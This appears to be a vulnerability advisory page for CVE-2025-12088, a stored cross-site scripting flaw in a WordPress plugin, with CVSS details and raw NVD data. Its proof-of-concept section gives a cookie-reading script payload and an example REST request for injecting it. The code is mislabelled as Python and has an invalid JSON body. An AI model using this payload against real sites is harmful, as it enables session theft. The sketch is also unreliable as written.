Security Vulnerability Report
中文
CVE-2025-12088 CVSS 6.4 MEDIUM

CVE-2025-12088

Published: 2025-11-18 10:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Meta Display Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Meta Display Block in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Meta Display Block插件 <= 1.0.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12088 PoC - Stored XSS in Meta Display Block Plugin // Requires Contributor-level access // Step 1: Create a post/page with malicious Meta Display Block const maliciousPayload = '<script>alert(document.cookie)</script>'; // Step 2: The payload is stored without sanitization // When other users access the page, the script executes // Example HTTP POST request to exploit: /* POST /wp-json/wp/v2/posts HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer <contributor_token> { "title": "Malicious Post", "content": "<!-- wp:meta-display-block/block -->\n<div class=\"meta-display-block\">" + maliciousPayload + "</div>\n<!-- /wp:meta-display-block/block -->", "status": "publish" } */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12088", "sourceIdentifier": "[email protected]", "published": "2025-11-18T10:15:47.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Meta Display Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Meta Display Block in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/meta-display-block/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68251e79-d064-4be4-a218-92a03e27b59d?source=cve", "source": "[email protected]"}]}}